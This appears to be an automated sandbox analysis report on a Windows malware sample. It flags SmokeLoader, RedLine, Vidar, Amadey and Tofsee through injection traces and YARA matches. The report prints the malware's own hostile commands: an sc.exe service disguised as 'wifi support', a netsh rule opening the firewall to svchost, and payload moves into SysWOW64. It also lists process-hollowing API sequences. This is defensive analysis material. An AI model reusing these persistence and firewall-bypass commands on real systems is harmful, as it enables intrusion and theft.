Source: C:\Users\user\Desktop\emPJndhuvA.exe	Memory written: C:\Users\user\Desktop\emPJndhuvA.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Memory written: C:\Users\user\AppData\Roaming\tiftjuh base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Memory written: C:\Users\user\AppData\Local\Temp\3D67.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Memory written: C:\Users\user\AppData\Local\Temp\13E2.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1E0000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_00530110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00530110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Thread created: C:\Windows\explorer.exe EIP: 3A61930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Thread created: unknown EIP: 6DC1930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Thread created: unknown EIP: 66C1930	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 1E0000
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 25B3008

.NET source code references suspicious native API functions

Show sources

Source: 13E2.exe.3.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 13E2.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.0.13E2.exe.c80000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 32.0.13E2.exe.c80000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.0.13E2.exe.c80000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 32.0.13E2.exe.c80000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.2.13E2.exe.c80000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 32.2.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.0.13E2.exe.c80000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 32.0.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.0.13E2.exe.c80000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 32.0.13E2.exe.c80000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Process created: C:\Users\user\Desktop\emPJndhuvA.exe "C:\Users\user\Desktop\emPJndhuvA.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Process created: C:\Users\user\AppData\Roaming\tiftjuh C:\Users\user\AppData\Roaming\tiftjuh	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 540	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Process created: C:\Users\user\AppData\Local\Temp\3D67.exe C:\Users\user\AppData\Local\Temp\3D67.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhlprady\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description bhlprady "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start bhlprady	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process created: C:\Users\user\AppData\Local\Temp\13E2.exe C:\Users\user\AppData\Local\Temp\13E2.exe
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

30_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

30_2_00407809

Source: explorer.exe, 00000003.00000000.292977118.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.283330440.0000000005EA0000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.286222807.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.278755550.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.266380862.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.300394001.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000003.00000000.261014750.0000000001640000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.362449734.0000000000C70000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.363899728.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.292977118.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.278755550.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.261014750.0000000001640000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.362449734.0000000000C70000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.363899728.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.292977118.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.278755550.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.261014750.0000000001640000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.362449734.0000000000C70000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.363899728.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000003.00000000.260833315.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000003.00000000.278535445.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000003.00000000.292744255.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000003.00000000.292977118.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.278755550.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.261014750.0000000001640000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.362449734.0000000000C70000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.363899728.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000003.00000000.292977118.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.278755550.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000003.00000000.261014750.0000000001640000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.362449734.0000000000C70000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.363899728.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: __EH_prolog,OpenJobObjectA,GetLocaleInfoA,_ftell,_fseek,_printf,	0_2_00401564
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: __EH_prolog,CompareFileTime,EnumSystemLocalesW,GetConsoleAliasesA,FindResourceExW,GetVersionExA,VirtualQuery,CreateThread,SetComputerNameExA,_printf,_malloc,_calloc,__wfopen_s,_fseek,__floor_pentium4,_puts,GetConsoleAliasA,GetModuleHandleA,GlobalAlloc,GetConsoleTitleA,GetConsoleTitleA,GetConsoleTitleA,GetAtomNameW,CreateIoCompletionPort,GetFileAttributesW,GetDefaultCommConfigW,	0_2_00401324
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: GetLocaleInfoA,	0_2_004108BC
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: GetLocaleInfoA,	22_2_00410857
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: __EH_prolog,CompareFileTime,EnumSystemLocalesW,GetConsoleAliasesA,FindResourceExA,GetVersionExA,VirtualQuery,CreateThread,SetComputerNameExA,_printf,_malloc,_calloc,__wfopen_s,_fseek,GetConsoleAliasA,GetModuleHandleA,LocalAlloc,GetConsoleTitleA,GetConsoleTitleA,GetConsoleTitleA,GetAtomNameW,CreateIoCompletionPort,GetFileAttributesW,GetDefaultCommConfigW,	25_2_00401733
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: GetLocaleInfoA,	25_2_004108CC
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	29_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	29_2_0058B050

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\13E2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_00408EC7 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00408EC7

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

29_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

29_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

30_2_0040405E

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_00401324 __EH_prolog,CompareFileTime,EnumSystemLocalesW,GetConsoleAliasesA,FindResourceExW,GetVersionExA,VirtualQuery,CreateThread,SetComputerNameExA,_printf,_malloc,_calloc,__wfopen_s,_fseek,__floor_pentium4,_puts,GetConsoleAliasA,GetModuleHandleA,GlobalAlloc,GetConsoleTitleA,GetConsoleTitleA,GetConsoleTitleA,GetAtomNameW,CreateIoCompletionPort,GetFileAttributesW,GetDefaultCommConfigW,

0_2_00401324

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\952.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\952.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000010.00000002.620033146.000001383A16D000.00000004.00000001.sdmp	Binary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 00000010.00000002.620033146.000001383A16D000.00000004.00000001.sdmp	Binary or memory string: *@C:\Program Files\BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 00000011.00000002.585850469.0000021D16702000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000011.00000002.580722829.0000021D1663D000.00000004.00000001.sdmp	Binary or memory string: @\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 32.2.13E2.exe.413f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.13E2.exe.413f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.439581609.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.440529688.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.438204104.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.438919609.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.tiftjuh.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.emPJndhuvA.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.3D67.exe.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.310069625.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386280466.0000000001F30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386498287.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295057363.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360645909.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.309813053.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360518485.00000000004A0000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 44.3.vodibdaj.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.952.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.412229320.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.383697292.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417710033.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417504443.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.543176167.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417841182.0000000000610000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.415295647.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 952.exe PID: 1068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vodibdaj.exe PID: 6484, type: MEMORYSTR

Source: Yara match

File source: 0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 32.2.13E2.exe.413f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.13E2.exe.413f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.439581609.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.440529688.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.438204104.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000000.438919609.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.tiftjuh.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.emPJndhuvA.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.3D67.exe.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.310069625.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386280466.0000000001F30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386498287.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295057363.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360645909.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.309813053.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360518485.00000000004A0000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 44.3.vodibdaj.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.952.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.412229320.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.383697292.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417710033.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417504443.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.543176167.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417841182.0000000000610000.00000004.00000001.sdmp, type: MEMORY
